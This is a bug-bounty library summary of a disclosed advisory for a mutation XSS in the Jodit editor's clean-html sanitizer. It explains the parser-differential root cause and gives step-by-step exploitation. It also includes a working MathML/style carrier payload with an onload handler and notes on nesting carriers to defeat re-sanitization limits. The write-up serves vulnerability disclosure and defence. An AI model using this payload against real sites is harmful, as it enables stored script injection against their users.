# Jodit Editor: Mutation XSS in jodit clean-html via a MathML/style rawtext carrier

Jodit's clean-html sanitizer misses an <img onload> hidden as <style> rawtext inside a MathML/mglyph/table carrier, so it survives into editor.value and fires on render.

- Payout: Research
- Severity: high
- Program: Jodit
- Found by: koyokr
- Disclosed: 2026-07-31
- CVE: CVE-2026-58263
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-rxcw-mc6f-6hr3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rxcw-mc6f-6hr3
- Tags: area:web domain:web impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:parser-differential technique:source-review vuln:xss

**Target:** jodit clean-html sanitizer / editor value-set and insertHTML paths
**Root cause:** The value-set sanitizer walks only element nodes of a parse where the payload <img> is <style> rawtext (hidden by MathML text-integration and foster-parenting), so the on* strip never sees it; re-serialization into the editable hoists it into the HTML namespace as a live element. The async on-change cleaner only strips onerror, never other handlers.
**Steps:**
1. Set `editor.value = '<math><mtext><table><mglyph><style><img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" onload=alert(document.domain)></style></mglyph></table></mtext></math>'`
2. Parse 1 (`sandBox.innerHTML = data.value`) makes the <img> rawtext inside <style>; the <table> is foster-parented and <mglyph> governs namespace, so no element node exists for the walk
3. `safeHTML` element-walk (Dom.isElement gate) skips the rawtext, so `removeAllEventAttributes` never runs; value captured via `data.value = sandBox.innerHTML`
4. Re-parsing the captured value into the editable hoists <img> out of <style> into the HTML namespace with onload intact
5. Async LazyWalker reaches it but `sanitizeHTMLElement` only strips onerror, ignoring removeEventAttributes, so onload persists
6. Consumer renders `document.getElementById('view').innerHTML = editor.value`; the gif loads and onload fires with no interaction
**How found:** Reasoned about parse/walk/serialize ordering in clean-html: noticed the value-set pass sanitizes a parse-1 tree where HTML parsing rules (MathML text integration points, foster parenting, rawtext) can hide an element from an element-only walk, then re-serialization changes its namespace and position. Verified with positive controls showing plain handlers are stripped while carrier-hidden ones survive.
**Exploitation:** Attacker with a content-submission role places the carrier payload into the editor via value-set, setEditorValue, or insertHTML; the sanitized editor.value retains a live non-onerror handler. When the application later renders that stored value as HTML (innerHTML in Chromium, or server-rendered/document-context in Firefox), the handler executes in the victim's page with no interaction.
**Escalation:** Carrier layers are substitutable (mtext/mi/ms/mn/mo, mglyph/malignmark, style/xmp/noembed/script/plaintext) and nesting the carrier inside itself surfaces one level per parse, defeating any fixed re-sanitize cap N at depth N+2.
**Insight:** When a sanitizer walks a parsed DOM and then re-serializes, look for parser states (rawtext elements, foreign-content integration points, foster parenting) where a dangerous element is text in parse 1 but an element in parse 2; also check that every sanitize call site actually honors the flags it passes (here removeEventAttributes was dropped, leaving only onerror stripped).

## Proof of concept (copied exactly from the original report)

**Jodit editor.value payload with MathML/style carrier**

```
const editor = Jodit.make('#editor');
editor.value = '<math><mtext><table><mglyph><style><img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" onload=alert(document.domain)></style></mglyph></table></mtext></math>';

// editor.value (the sanitized, stored output) now contains a live handler, and it persists (onload, like any
// non-onerror handler, is not removed by jodit's on-change cleaner):
//   <p><math><mtext><mglyph><style></style></mglyph>
//      <img src="data:image/gif;base64,R0lGOD...AAIBRAA7" onload="alert(document.domain)">
//      <table></table></mtext></math></p>

document.getElementById('view').innerHTML = editor.value;  // a consumer renders the saved value
```

